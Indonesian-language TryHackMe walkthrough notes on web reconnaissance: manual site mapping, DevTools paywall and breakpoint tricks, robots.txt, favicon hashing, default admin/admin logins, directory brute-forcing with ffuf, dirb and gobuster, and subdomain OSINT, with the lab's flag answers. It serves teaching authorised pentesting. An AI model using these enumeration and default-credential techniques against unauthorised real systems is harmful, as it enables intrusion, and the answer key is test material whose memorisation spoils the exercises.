Writeup Aria
RoadMap03_Introduction_to_Pentesting

Introduction to Web Hacking Part 1

Walking An Application

Walking An Application

Pada materi ini, kamu akan belajar melakukan review keamanan aplikasi web secara manual hanya menggunakan tools bawaan browser.

Walaupun ada banyak tools otomatis, sering kali:

  • Tools otomatis melewatkan celah tertentu
  • Informasi sensitif tersembunyi tidak terdeteksi
  • Logika aplikasi tidak dianalisis dengan baik

Karena itu, teknik manual tetap sangat penting dalam penetration testing.

Exploring The Website

Review Fitur Website dalam Penetration Testing

Sebagai penetration tester, tugas utama saat mereview website adalah:

  • Mengidentifikasi fitur yang berpotensi rentan
  • Mencari bagian yang interaktif
  • Mencoba mengeksploitasi fitur tersebut untuk menguji keamanannya

Fitur yang sering menjadi target biasanya:

  • Form login
  • Form input data
  • Upload file
  • Reset password
  • Endpoint dengan parameter

Langkah awal yang efektif adalah:

  • Menjelajahi website secara manual
  • Mencatat setiap halaman/fitur
  • Membuat ringkasan fungsi masing-masing halaman

Contoh Site Review (Acme IT Support)

FiturURLRingkasan
Home Page/Ringkasan layanan perusahaan dan foto staf
Latest News/newsDaftar artikel berita terbaru, setiap artikel memiliki parameter id (contoh: /news/article?id=1)
News Article/news/article?id=1Menampilkan artikel individual, beberapa artikel hanya untuk pelanggan premium
Contact Page/contactForm kontak dengan input: nama, email, pesan
Customers/customersRedirect ke halaman login pelanggan
Customer Login/customers/loginForm login dengan username dan password
Customer Signup/customers/signupForm pendaftaran dengan username, email, password, konfirmasi password
Customer Reset Password/customers/resetForm reset password dengan input email
Customer Dashboard/customersDaftar tiket user dan tombol "Create Ticket"
Create Ticket/customers/ticket/newForm input masalah IT dan upload file
Customer Account/customers/accountEdit username, email, password
Customer Logout/customers/logoutLogout dari akun pelanggan

Kenapa Mapping Fitur Itu Penting?

Dengan membuat tabel seperti ini, tester dapat:

  • Melihat attack surface secara keseluruhan
  • Mengidentifikasi endpoint dengan parameter (contoh: ?id=1)
  • Menemukan fitur dengan input user (potensi injection)
  • Menemukan fitur upload (potensi file upload vulnerability)
  • Menguji kontrol akses antar halaman

Mapping fitur adalah bagian dari:

  • Information Gathering
  • Enumeration

Viewing The Page Source

Page Source (Sumber Halaman)

Page source adalah kode yang dikirim server ke browser setiap kali kita membuka website.

Kode ini terdiri dari:

  • HTML → Struktur konten
  • CSS → Tampilan/desain
  • JavaScript → Interaktivitas

Melihat page source membantu kita menemukan informasi tersembunyi yang tidak terlihat langsung di tampilan website.

Cara Melihat Page Source

Beberapa cara umum:

  • Klik kanan pada halaman → View Page Source
  • Tambahkan view-source: di depan URL Contoh: view-source:https://www.google.com
  • Melalui menu browser → Developer Tools

Informasi Penting yang Bisa Ditemukan

Saat melihat page source, fokus pada hal-hal berikut:

1. HTML Comments

Komentar ditandai dengan:

<!-- komentar -->

Komentar:

  • Tidak ditampilkan di halaman web
  • Biasanya berisi catatan developer
  • Bisa mengandung petunjuk sensitif

Dalam praktikal:

  • Ada komentar tentang homepage sementara
  • Di dalam komentar terdapat link tersembunyi → berisi flag

Dalam dunia nyata:

  • Bisa berisi path internal
  • Informasi sistem
  • Catatan konfigurasi

Link dalam HTML menggunakan:

<a href="...">

Parameter di dalam href sering menjadi target analisis, contoh:

/news/article?id=1

Parameter seperti id bisa berpotensi:

  • IDOR
  • SQL Injection
  • Akses tidak sah

Kadang developer menyembunyikan link dalam source code. Contoh:

  • Link dengan nama awal "secr..."
  • Tidak terlihat di halaman normal
  • Hanya bisa ditemukan melalui source

Dalam dunia nyata, ini bisa mengarah ke:

  • Panel admin
  • Area internal
  • Folder backup

4. Directory Listing Misconfiguration

File eksternal seperti:

  • CSS
  • JavaScript
  • Image

Biasanya disimpan dalam folder tertentu. Jika directory listing aktif, maka:

  • Semua file dalam folder bisa dilihat
  • Seharusnya muncul 403 Forbidden
  • Tetapi malah menampilkan daftar file

Risiko:

  • Backup file terekspos
  • Source code bocor
  • File konfigurasi bisa diunduh

Dalam praktikal:

  • File flag.txt dapat diakses karena misconfiguration

5. Framework & Version Disclosure

Banyak website menggunakan framework.

Framework:

  • Kumpulan kode siap pakai
  • Mempercepat development
  • Menyediakan fitur umum (blog, login, form, dll.)

Melihat page source bisa mengungkap:

  • Nama framework
  • Versi framework

Risiko:

  • Versi lama mungkin memiliki vulnerability publik
  • Bisa dicek di CVE atau exploit database

Dalam praktikal:

  • Ada komentar tentang framework dan versinya
  • Website menggunakan versi lama
  • Informasi update notice membantu menemukan flag

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/new-home-beta

  • What is the flag from the HTML comment?

THM{HTML_COMMENTS_ARE_DANGEROUS}

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/secret-page

  • What is the flag from the secret link?

THM{NOT_A_SECRET_ANYMORE}

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/assets/flag.txt

  • What is the directory listing flag?

THM{INVALID_DIRECTORY_PERMISSIONS}

https://static-labs.tryhackme.cloud/sites/thm-web-framework

1770876833804

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/tmp.zip

THM{KEEP_YOUR_SOFTWARE_UPDATED}

Developer Tools - Inspector

Setiap browser modern memiliki Developer Tools, yaitu toolkit untuk membantu developer melakukan debugging aplikasi web.

Sebagai penetration tester, tools ini sangat berguna untuk:

  • Memahami cara kerja website
  • Melihat struktur dan logika halaman
  • Mengidentifikasi potensi celah keamanan

Fitur utama yang difokuskan:

  • Inspector
  • Debugger
  • Network

Cara Membuka Developer Tools

Cara membuka DevTools berbeda tiap browser, namun umumnya bisa melalui:

  • Klik kanan → Inspect
  • Shortcut: F12
  • Menu → Developer Tools

Inspector (Element Inspector)

Inspector menampilkan representasi langsung (live view) dari elemen HTML yang sedang ditampilkan di browser.

Berbeda dengan View Source:

  • View Source → kode asli dari server
  • Inspector → kondisi halaman setelah diproses CSS & JavaScript

Inspector memungkinkan kita:

  • Melihat struktur HTML
  • Melihat CSS yang diterapkan
  • Mengedit elemen secara langsung

Contoh Kasus: Paywall Premium

Pada halaman berita:

  • Artikel 1 & 2 bisa dibaca
  • Artikel 3 diblokir dengan notifikasi premium (paywall)

Paywall biasanya berupa:

  • Elemen <div> yang menutupi konten
  • Diberi styling tertentu agar terlihat sebagai penghalang

Langkah Bypass Paywall (Dengan Inspector)

  1. Klik kanan pada notifikasi premium
  2. Pilih Inspect
  3. Cari elemen:
    div class="premium-customer-blocker"
  4. Pada bagian CSS, temukan:
    display: block;
  5. Ubah menjadi:
    display: none;

Hasilnya:

  • Elemen hilang
  • Konten di bawahnya terlihat
  • Flag muncul

Kenapa Ini Bisa Terjadi?

Karena:

  • Pembatasan hanya dilakukan di sisi klien (client-side)
  • Tidak ada validasi server-side

Ini adalah contoh:

  • Broken Access Control
  • Security misconfiguration

Hal Penting Tentang Inspector

  • Perubahan hanya terjadi di browser kita
  • Tidak mengubah server
  • Saat refresh → kembali normal

Inspector bisa digunakan untuk:

  • Menghapus atribut disabled
  • Mengubah nilai input
  • Menampilkan elemen tersembunyi
  • Memodifikasi konten sementara

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/news/article?id=3

  • What is the flag behind the paywall?

THM{NOT_SO_HIDDEN}

Developer Tools - Debugger

Panel Debugger (di Firefox & Safari) atau Sources (di Chrome) digunakan untuk menganalisis dan debugging JavaScript.

Bagi developer:

  • Untuk mencari error
  • Menguji logika script

Bagi penetration tester:

  • Untuk memahami alur JavaScript
  • Mencari validasi sisi klien
  • Mengontrol eksekusi kode
  • Mengidentifikasi logika tersembunyi

Cara Menggunakan Debugger

Di panel Debugger/Sources:

  • Sisi kiri → daftar file/resource yang digunakan halaman
  • Bisa melihat file JavaScript yang dimuat website

Pada website Acme IT Support:

  • Masuk ke halaman Contact
  • Terlihat kilatan merah cepat saat halaman dimuat

Kita gunakan Debugger untuk mencari tahu apa itu.

Analisis File JavaScript

Langkah:

  1. Buka Developer Tools
  2. Masuk ke folder assets
  3. Buka file flash.min.js

Biasanya file JS terlihat:

  • Dalam satu baris
  • Tanpa spasi atau indentasi

Ini disebut:

  • Minified → diformat ulang agar lebih kecil
  • Obfuscated → dibuat sulit dibaca

Pretty Print

Untuk membuat kode lebih mudah dibaca:

  • Klik tombol { } (Pretty Print)
  • Format kode menjadi lebih terstruktur

Meskipun sudah diformat, kode obfuscated tetap sulit dipahami sepenuhnya.

Menemukan Logika Penting

Di bagian bawah file ditemukan:

flash['remove']();

Kode ini:

  • Menghapus elemen merah dari halaman
  • Menjalankan fungsi remove()

Artinya:

  • Red popup memang dimunculkan
  • Lalu langsung dihapus oleh JavaScript

Breakpoints

Breakpoint adalah fitur untuk:

  • Menghentikan eksekusi JavaScript di baris tertentu
  • Membekukan halaman sebelum kode dijalankan

Langkah:

  1. Klik nomor baris flash['remove']();
  2. Baris akan berubah warna (breakpoint aktif)
  3. Refresh halaman

Hasil:

  • JavaScript berhenti sebelum menghapus elemen
  • Red popup tetap muncul
  • Flag terlihat

Kenapa Ini Penting?

Karena ini menunjukkan:

  • Kontrol keamanan dilakukan di sisi klien
  • JavaScript bisa dimanipulasi
  • Eksekusi kode bisa dihentikan

Dalam dunia nyata, teknik ini bisa digunakan untuk:

  • Bypass validasi form
  • Melihat data sementara
  • Menganalisis token
  • Menghentikan redirect otomatis

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/contact

1770877349511

  • What is the flag in the red box?
    • the debugger tools might work differently on FireFox/Chrome. Follow the steps in the task to find the JavaScript flash.min.js file, prettifying it, finding the line with "flash[remove]" and adding a JavaScript break point to stop the red message disappearing when the page loads.

THM{CATCH_ME_IF_YOU_CAN}

Developer Tools - Network

Tab Network digunakan untuk melihat semua request dan response yang dilakukan oleh sebuah halaman web.

Fungsi utamanya:

  • Melihat file yang dimuat halaman
  • Menganalisis request API
  • Melihat data yang dikirim dan diterima
  • Mengidentifikasi endpoint tersembunyi

Cara Menggunakan Network Tab

Langkah dasar:

  1. Buka Developer Tools
  2. Pilih tab Network
  3. Refresh halaman

Akan terlihat:

  • Semua file yang diminta halaman
  • Status code (200, 404, dll.)
  • Method (GET, POST, dll.)
  • Ukuran file dan waktu respons

Jika terlalu banyak request:

  • Klik ikon tempat sampah (clear) untuk menghapus daftar

Contoh Kasus: Contact Form

Pada halaman Contact:

  1. Buka tab Network
  2. Isi form kontak
  3. Klik Send Message

Akan muncul request baru di Network tab. Request ini dikirim menggunakan metode:

AJAX

AJAX adalah teknik untuk:

  • Mengirim dan menerima data
  • Tanpa me-refresh halaman
  • Berjalan di background

Artinya:

  • Form tidak reload halaman
  • Data tetap dikirim ke server

Analisis Request Form

Klik request yang muncul setelah menekan tombol kirim.

Yang bisa dianalisis:

  • URL tujuan (endpoint)
  • Method (biasanya POST)
  • Data yang dikirim
  • Response dari server

Dalam praktikal:

  • Membuka URL tujuan request
  • Menemukan flag di response

Kenapa Network Tab Sangat Penting?

Network tab membantu menemukan:

  • Endpoint tersembunyi
  • API internal
  • Parameter sensitif
  • Token autentikasi
  • Data JSON
  • ID yang bisa dimanipulasi

Sering kali vulnerability ditemukan dengan:

  • Mengubah parameter
  • Mengulang request
  • Mengirim request manual

https://10-49-136-122.reverse-proxy.cell-prod-ap-south-1b.vm.tryhackme.com/contact

{"msg":"Message Received","flag":"THM{GOT_AJAX_FLAG}"}

  • What is the flag shown on the contact-msg network request?

THM{GOT_AJAX_FLAG}


Content Discovery

Learn the various ways of discovering hidden or private content on a webserver that could lead to new vulnerabilities.

What Is Content Discovery?

Dalam konteks keamanan aplikasi web, content tidak hanya berarti konten yang terlihat di halaman utama.

Content bisa berupa:

  • File
  • Gambar atau video
  • Backup
  • File konfigurasi
  • Fitur tersembunyi
  • Panel admin
  • Portal internal

Content discovery adalah proses menemukan hal-hal yang tidak langsung terlihat dan mungkin tidak dimaksudkan untuk publik.

Jenis Content yang Biasanya Ditemukan

Beberapa contoh konten tersembunyi:

  • Halaman khusus staf
  • Versi lama website
  • File backup (.bak, .old, .zip)
  • File konfigurasi
  • Panel administrasi
  • Endpoint API tersembunyi

Konten seperti ini sering menjadi target utama karena:

  • Bisa mengandung informasi sensitif
  • Sering memiliki kontrol keamanan lemah
  • Kadang terlupakan oleh developer

Metode Content Discovery

Ada tiga metode utama:

1. Manual

Dilakukan dengan:

  • Menjelajahi website secara langsung
  • Mengubah URL secara manual
  • Menganalisis source code
  • Menggunakan DevTools

Contoh:

  • Mengganti /login menjadi /admin
  • Mengecek /backup
  • Melihat parameter tersembunyi

2. Automated

Menggunakan tools untuk:

  • Bruteforce direktori
  • Menemukan file tersembunyi
  • Menemukan endpoint yang tidak terlihat

Tools ini bekerja dengan:

  • Mengirim banyak request
  • Menggunakan wordlist
  • Mencari response valid

3. OSINT (Open-Source Intelligence)

Menggunakan informasi publik seperti:

  • Google search
  • Cached pages
  • Archive website
  • GitHub
  • Metadata
  • Paste sites

Kadang informasi sensitif bocor tanpa disadari.

  • What is the Content Discovery method that begins with M?

Manually

  • What is the Content Discovery method that begins with A?

Automated

  • What is the Content Discovery method that begins with O?

OSINT

Manual Discovery - Robots.txt

Dalam proses content discovery secara manual, ada beberapa lokasi penting yang wajib dicek terlebih dahulu. Salah satu yang paling umum adalah robots.txt.

Robots.txt

robots.txt adalah file yang digunakan untuk memberi tahu search engine:

  • Halaman mana yang boleh diindeks
  • Halaman mana yang tidak boleh diindeks
  • Search engine mana yang boleh atau dilarang melakukan crawling

File ini biasanya berada di root website:

http://target.com/robots.txt

Kenapa Robots.txt Penting untuk Pentester?

Walaupun tujuan utamanya untuk search engine, file ini sering kali:

  • Menyebutkan direktori tersembunyi
  • Mengungkap halaman admin
  • Menunjukkan portal internal
  • Menampilkan path sensitif

Ironisnya, file ini bisa menjadi daftar lokasi yang justru menarik untuk diuji.

Contoh Informasi yang Sering Ditemukan

Di dalam robots.txt biasanya ada entri seperti:

Disallow: /admin/
Disallow: /customers/
Disallow: /backup/

Bagi search engine → jangan tampilkan Bagi pentester → lokasi menarik untuk diuji

  • What is the directory in the robots.txt that isn't allowed to be viewed by web crawlers?

/staff-portal

Manual Discovery - Favicon

Favicon adalah ikon kecil yang muncul di:

  • Tab browser
  • Address bar
  • Bookmark

Fungsinya untuk branding website.

Namun dalam konteks penetration testing, favicon bisa menjadi petunjuk framework yang digunakan oleh website.

Kenapa Favicon Penting?

Saat website dibuat menggunakan framework, sering kali:

  • Favicon bawaan framework tidak diganti
  • Developer lupa mengganti file default
  • Ikon khas framework tetap digunakan

Ini bisa membantu kita:

  • Mengidentifikasi framework
  • Menentukan versi kemungkinan
  • Mencari vulnerability publik terkait framework tersebut

OWASP Favicon Database

OWASP menyediakan database hash favicon dari berbagai framework.

Cara kerjanya:

  • Unduh favicon target
  • Hitung hash (MD5)
  • Cocokkan dengan database OWASP

Jika cocok → kita tahu framework yang digunakan.

Praktikal

Langkah:

  1. Buka Firefox di AttackBox
  2. Akses:
    https://static-labs.tryhackme.cloud/sites/favicon/
  3. Perhatikan favicon di tab browser
  4. Lihat Page Source
  5. Temukan link:
    images/favicon.ico

Mengambil Hash Favicon (Linux)

Gunakan perintah:

curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum

Output:

  • Akan menghasilkan nilai hash MD5
  • Cocokkan hash tersebut dengan database OWASP

Catatan: Jika hash berakhir dengan 427e, kemungkinan curl gagal dan perlu diulang.

Mengambil Hash Favicon (Windows PowerShell)

curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico -UseBasicParsing -o favicon.ico
Get-FileHash .\favicon.ico -Algorithm MD5

Kenapa Ini Efektif?

Karena:

  • Banyak developer tidak mengganti favicon default
  • Framework tertentu memiliki ikon khas
  • Hash favicon bisa menjadi fingerprint teknologi

Setelah tahu framework:

  • Cari versi terbaru
  • Cek CVE
  • Cari exploit publik

linux

curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum
# f276b19aabcb4ae8cda4d22625c6735f

windows

curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico -UseBasicParsing -o favicon.ico
Get-FileHash .\favicon.ico -Algorithm MD5

f276b19aabcb4ae8cda4d22625c6735f:cgiirc (0.5.9)

  • What framework did the favicon belong to?

cgiirc

Manual Discovery - Sitemap.xml

Berbeda dengan robots.txt yang membatasi crawler, sitemap.xml justru berisi daftar halaman yang ingin ditampilkan di search engine.

Biasanya berisi:

  • Semua URL penting
  • Halaman yang sulit dinavigasi
  • Halaman lama yang masih aktif

Kenapa Penting untuk Pentester?

Sitemap bisa mengungkap:

  • Endpoint tersembunyi
  • Halaman lama (legacy page)
  • Area yang tidak terlihat di menu utama

Kadang developer lupa menghapus halaman lama dari sitemap.

  • What is the path of the secret area that can be found in the sitemap.xml file?

s3cr3t-area

Manual Discovery - HTTP Headers

Saat kita mengirim request ke server, server akan membalas dengan HTTP headers.

Header ini bisa mengungkap:

  • Web server yang digunakan
  • Versi software
  • Bahasa pemrograman
  • Informasi konfigurasi

Contoh Informasi Sensitif

Dari contoh:

  • Server: nginx/1.18.0 (Ubuntu)
  • X-Powered-By: PHP/7.4.3

Artinya:

  • Server menggunakan NGINX 1.18.0
  • Backend menggunakan PHP 7.4.3

Dengan informasi ini kita bisa:

  • Mencari CVE terkait versi tersebut
  • Mengecek apakah versinya sudah usang
  • Mencari exploit publik

Cara Mengecek Header

Gunakan perintah:

curl http://10.49.131.60 -v

Opsi -v (verbose) akan menampilkan:

  • Request yang dikirim
  • Header response dari server

Kenapa Ini Penting?

Karena ini termasuk:

  • Information Disclosure
  • Server misconfiguration

Idealnya, server tidak menampilkan versi detail software.

curl http://10.49.131.60 -v
# *   Trying 10.49.131.60:80...
# * TCP_NODELAY set
# * Connected to 10.49.131.60 (10.49.131.60) port 80 (#0)
# > GET / HTTP/1.1
# > Host: 10.49.131.60
# > User-Agent: curl/7.68.0
# > Accept: */*
# >
# * Mark bundle as not supporting multiuse
# < HTTP/1.1 200 OK
# < Server: nginx/1.18.0 (Ubuntu)
# < Date: Wed, 18 Feb 2026 15:09:55 GMT
# < Content-Type: text/html; charset=UTF-8
# < Transfer-Encoding: chunked
# < Connection: keep-alive
# < X-FLAG: THM{HEADER_FLAG}
  • What is the flag value from the X-FLAG header?

THM{HEADER_FLAG}

Manual Discovery - Framework Stack

Setelah mengetahui framework website (dari favicon atau page source), langkah selanjutnya adalah:

  • Cari website resmi framework
  • Baca dokumentasi
  • Cari path default (admin, config, dll.)

Framework sering memiliki:

  • Struktur standar
  • URL admin bawaan
  • Path khusus yang terdokumentasi

Contoh Kasus (Acme IT Support)

Pada page source:

  • Ada komentar berisi page load time
  • Ada link ke website framework:
    https://static-labs.tryhackme.cloud/sites/thm-web-framework

Jika membuka dokumentasinya:

  • Akan ditemukan path default admin portal
  • Path tersebut bisa dicoba pada website target

Saat diakses di: https://static-labs.tryhackme.cloud/sites/thm-web-framework/documentation.html

The documentation for the framework is pre-installed on your websites administration portal.

Once you've installed the framework navigate to the /thm-framework-login path on your website.

You can login with the username admin and password admin ( make sure you change this password )

kita hanya perlu pergi ke http://10.49.131.60/thm-framework-login, dan login dengan username dan password default untuk mendapatkan flag.

Kenapa Ini Penting?

Framework default sering memiliki:

  • Panel admin standar
  • Endpoint tersembunyi
  • Konfigurasi default

Jika developer tidak mengubahnya:

  • Bisa menjadi titik masuk attacker
  • What is the flag from the framework's administration portal?

THM{CHANGE_DEFAULT_CREDENTIALS}

OSINT - Google Hacking / Dorking

OSINT (Open-Source Intelligence) adalah teknik mengumpulkan informasi dari sumber publik.

Salah satu metode paling umum adalah Google Dorking, yaitu menggunakan fitur pencarian lanjutan Google untuk menemukan informasi spesifik dari target.

Cara Kerja Google Dorking

Menggunakan operator pencarian khusus untuk menyaring hasil.

Contoh dasar:

site:tryhackme.com admin

Artinya:

  • Hanya tampilkan hasil dari domain tersebut
  • Yang mengandung kata "admin"

Operator Penting

FilterContohFungsi
sitesite:tryhackme.comHasil hanya dari domain tertentu
inurlinurl:adminKata tertentu ada di URL
filetypefiletype:pdfMencari file dengan ekstensi tertentu
intitleintitle:adminKata tertentu ada di judul halaman

Kenapa Ini Penting?

Google bisa mengungkap:

  • Panel admin yang terindeks
  • File PDF, DOC, backup
  • Halaman lama
  • Informasi sensitif yang tidak sengaja terbuka

Kadang developer lupa membatasi indexing.

  • What Google dork operator can be used to only show results from a particular site?

site:

OSINT - Wappalyzer

Wappalyzer (https://www.wappalyzer.com/) adalah alat daring dan ekstensi peramban yang membantu mengidentifikasi teknologi apa yang digunakan suatu situs web, seperti kerangka kerja, Sistem Manajemen Konten (CMS), pemroses pembayaran, dan banyak lagi, bahkan dapat menemukan nomor versi juga.

  • What online tool can be used to identify what technologies a website is running?

Wappalyzer

OSINT - Wayback Machine

Wayback Machine (https://archive.org/web/) adalah arsip historis situs web yang berasal dari akhir tahun 90-an. Anda dapat mencari nama domain, dan layanan ini akan menampilkan semua waktu layanan tersebut mengambil data halaman web dan menyimpan isinya. Layanan ini dapat membantu mengungkap halaman lama yang mungkin masih aktif di situs web saat ini.

  • What is the website address for the Wayback Machine?

https://archive.org/web/

OSINT - GitHub

Untuk memahami GitHub, Anda perlu memahami Git terlebih dahulu.

Git adalah sistem kontrol versi yang melacak perubahan pada file dalam sebuah proyek. Bekerja dalam tim menjadi lebih mudah karena Anda dapat melihat apa yang diedit oleh setiap anggota tim dan perubahan apa yang mereka buat pada file. Setelah pengguna selesai melakukan perubahan, mereka melakukan commit dengan sebuah pesan dan kemudian mendorongnya kembali ke lokasi pusat (repositori) agar pengguna lain dapat menarik perubahan tersebut ke mesin lokal mereka. GitHub adalah versi Git yang dihosting di internet.

Repositori dapat diatur sebagai publik atau privat dan memiliki berbagai kontrol akses. Anda dapat menggunakan fitur pencarian GitHub untuk mencari nama perusahaan atau nama situs web untuk mencoba menemukan repositori milik target Anda. Setelah ditemukan, Anda mungkin memiliki akses ke kode sumber, kata sandi, atau konten lain yang belum Anda temukan.

  • What is Git?

version control system

OSINT - S3 Buckets

Bucket S3 adalah layanan penyimpanan yang disediakan oleh Amazon AWS, yang memungkinkan orang untuk menyimpan file dan bahkan konten situs web statis di cloud yang dapat diakses melalui HTTP dan HTTPS.

Pemilik file dapat mengatur izin akses untuk membuat file publik, privat, dan bahkan dapat ditulis. Terkadang izin akses ini diatur secara tidak benar dan tanpa disengaja memungkinkan akses ke file yang seharusnya tidak tersedia untuk umum. Format bucket S3 adalah http(s)://{name}.s3.amazonaws.com di mana {name} ditentukan oleh pemilik, seperti tryhackme-assets.s3.amazonaws.com.

Bucket S3 dapat ditemukan dengan berbagai cara, seperti menemukan URL di kode sumber halaman situs web, repositori GitHub, atau bahkan mengotomatiskan prosesnya. Salah satu metode otomatisasi yang umum adalah dengan menggunakan nama perusahaan diikuti oleh istilah umum seperti {name}-assets, {name}-www, {name}-public, {name}-private, dll.

  • What URL format do Amazon S3 buckets end in?

.s3.amazonaws.com

Automated Discovery

Automated discovery adalah proses menemukan file atau folder tersembunyi menggunakan tools otomatis, bukan manual.

Tools akan:

  • Mengirim banyak request ke server
  • Mencoba berbagai nama file/folder
  • Mengecek apakah path tersebut ada

Biasanya menggunakan wordlist sebagai daftar tebakan nama direktori/file.

Wordlist

Wordlist adalah file teks berisi daftar kata umum. Contoh penggunaan:

  • Password wordlist → brute force login
  • Content wordlist → cari folder/file tersembunyi

Di AttackBox tersedia SecLists:

/usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

Tools Automated Discovery

Tiga tools yang digunakan:

ffuf

Cepat dan fleksibel

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://MACHINE_IP/FUZZ

dirb

Tool klasik untuk directory brute-force

dirb http://MACHINE_IP/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

gobuster

Cepat dan populer

gobuster dir --url http://MACHINE_IP/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

Cara Membaca Hasil

Fokus ke status:

  • 200 → halaman ada
  • 301/302 → redirect (biasanya folder)
  • 403 → ada tapi dibatasi
  • 401 → butuh autentikasi

Contoh target menarik:

  • /admin
  • /backup
  • /test
  • /config
  • file .txt / .bak / .zip
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.113.150.152/FUZZ
ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.113.150.152/FUZZ -fs 301
# assets                  [Status: 301, Size: 178, Words: 6, Lines: 8]
# contact                 [Status: 200, Size: 3108, Words: 747, Lines: 65]
# customers               [Status: 302, Size: 0, Words: 1, Lines: 1]
# development.log         [Status: 200, Size: 27, Words: 5, Lines: 1]
# monthly                 [Status: 200, Size: 28, Words: 4, Lines: 1]
# news                    [Status: 200, Size: 2538, Words: 518, Lines: 51]
# private                 [Status: 301, Size: 178, Words: 6, Lines: 8]
# robots.txt              [Status: 200, Size: 46, Words: 4, Lines: 3]
# sitemap.xml             [Status: 200, Size: 1399, Words: 260, Lines: 43]

dirb http://10.113.150.152/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# ---- Scanning URL: http://10.113.150.152/ ----
# ==> DIRECTORY: http://10.113.150.152/assets/
# + http://10.113.150.152/contact (CODE:200|SIZE:3108)
# + http://10.113.150.152/customers (CODE:302|SIZE:0)
# + http://10.113.150.152/development.log (CODE:200|SIZE:27)
# + http://10.113.150.152/monthly (CODE:200|SIZE:28)
# + http://10.113.150.152/news (CODE:200|SIZE:2538)
# ==> DIRECTORY: http://10.113.150.152/private/
# + http://10.113.150.152/robots.txt (CODE:200|SIZE:46)
# + http://10.113.150.152/sitemap.xml (CODE:200|SIZE:1399)

# ---- Entering directory: http://10.113.150.152/assets/ ----
# ==> DIRECTORY: http://10.113.150.152/assets/avatars/

# ---- Entering directory: http://10.113.150.152/private/ ----
# + http://10.113.150.152/private/index.php (CODE:200|SIZE:49)

dir -u http://10.113.150.152/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt
# error gak tau kenapa
  • What is the name of the directory beginning "/mo...." that was discovered?

/monthly

  • What is the name of the log file that was discovered?

/development.log

Subdomain Enumeration

Brief

Subdomain Enumeration

Pengertian

Subdomain enumeration adalah proses untuk menemukan subdomain yang valid dari suatu domain utama. Tujuan utama dari proses ini adalah untuk memperluas attack surface sehingga kita dapat menemukan lebih banyak potensi kerentanan (vulnerability) pada target.

Tujuan

  • Mengidentifikasi subdomain tersembunyi atau tidak terdokumentasi.
  • Memperluas area pengujian keamanan (attack surface).
  • Menemukan layanan, aplikasi, atau endpoint tambahan yang mungkin memiliki celah keamanan.

Metode Subdomain Enumeration

Terdapat tiga metode utama yang umum digunakan:

1. Brute Force

Metode yang dilakukan dengan mencoba berbagai kemungkinan nama subdomain menggunakan wordlist atau daftar nama umum hingga ditemukan subdomain yang valid.

2. OSINT (Open-Source Intelligence)

Metode yang memanfaatkan sumber informasi publik seperti:

  • Database DNS
  • Mesin pencari
  • Certificate Transparency logs
  • Dataset atau arsip internet untuk menemukan subdomain yang sudah pernah terekspos secara publik.
3. Virtual Host

Metode yang digunakan untuk menemukan virtual host pada satu server yang mungkin tidak terlihat melalui pencarian DNS biasa, tetapi tetap aktif pada server tersebut.

  • What is a subdomain enumeration method beginning with B?

Brute Force

  • What is a subdomain enumeration method beginning with O?

OSINT

  • What is a subdomain enumeration method beginning with V?

Virtual Host

OSINT - SSL/TLS Certificates

Certificate Transparency (CT) Logs

Pengertian

Saat sebuah sertifikat SSL/TLS dibuat untuk domain oleh Certificate Authority (CA), sertifikat tersebut akan dicatat dalam Certificate Transparency (CT) logs. CT logs adalah log publik yang mencatat semua sertifikat SSL/TLS yang pernah dibuat untuk suatu domain sehingga siapa pun dapat memeriksa riwayat penerbitan sertifikat tersebut. ([Wikipedia][1])

Tujuan utama sistem ini adalah untuk:

  • Mencegah sertifikat berbahaya atau tidak sah digunakan.
  • Memberikan transparansi terhadap penerbitan sertifikat.
  • Memungkinkan audit dan monitoring keamanan internet. ([CertKit SSL Certificate Management][2])

Pemanfaatan CT Logs dalam Subdomain Enumeration

Dalam proses reconnaissance (pengumpulan informasi), CT logs bisa dimanfaatkan untuk menemukan subdomain yang pernah dibuat sertifikatnya.

Hal ini terjadi karena:

  • Banyak sertifikat dibuat untuk subdomain tertentu (misalnya api.domain.com, store.domain.com).
  • Semua sertifikat tersebut tercatat di CT logs.
  • Dengan mencari di database CT logs, kita bisa menemukan subdomain yang mungkin tersembunyi.

Salah satu situs yang menyediakan pencarian CT logs adalah:

Situs ini menyediakan database sertifikat SSL/TLS saat ini maupun historis untuk suatu domain. ([veds-handbook.gitbook.io][3])

1773478313404

  • What domain was logged on crt.sh at 2020-12-26?

store.tryhackme.com

OSINT - Search Engines

Subdomain Enumeration Menggunakan Search Engine

Pengertian

Search engine seperti Google menyimpan triliunan link dari miliaran website, sehingga dapat dimanfaatkan sebagai sumber OSINT (Open-Source Intelligence) untuk menemukan subdomain suatu domain.

Dengan menggunakan advanced search operators, kita dapat memfilter hasil pencarian agar hanya menampilkan halaman yang berasal dari subdomain tertentu.

Operator site: pada Google

Operator site: digunakan untuk membatasi hasil pencarian hanya pada domain tertentu.

Contoh query:

site:*.domain.com -site:www.domain.com
Penjelasan
  • site:*.domain.com → Menampilkan semua halaman yang berada pada subdomain domain.com
  • -site:www.domain.com → Mengecualikan hasil dari www.domain.com
  • Hasilnya → Menampilkan subdomain lain selain www

1773478356030

  • What is the TryHackMe subdomain beginning with S discovered using the above Google search?

store.tryhackme.com

DNS Bruteforce

Bruteforce DNS Enumeration

Pengertian

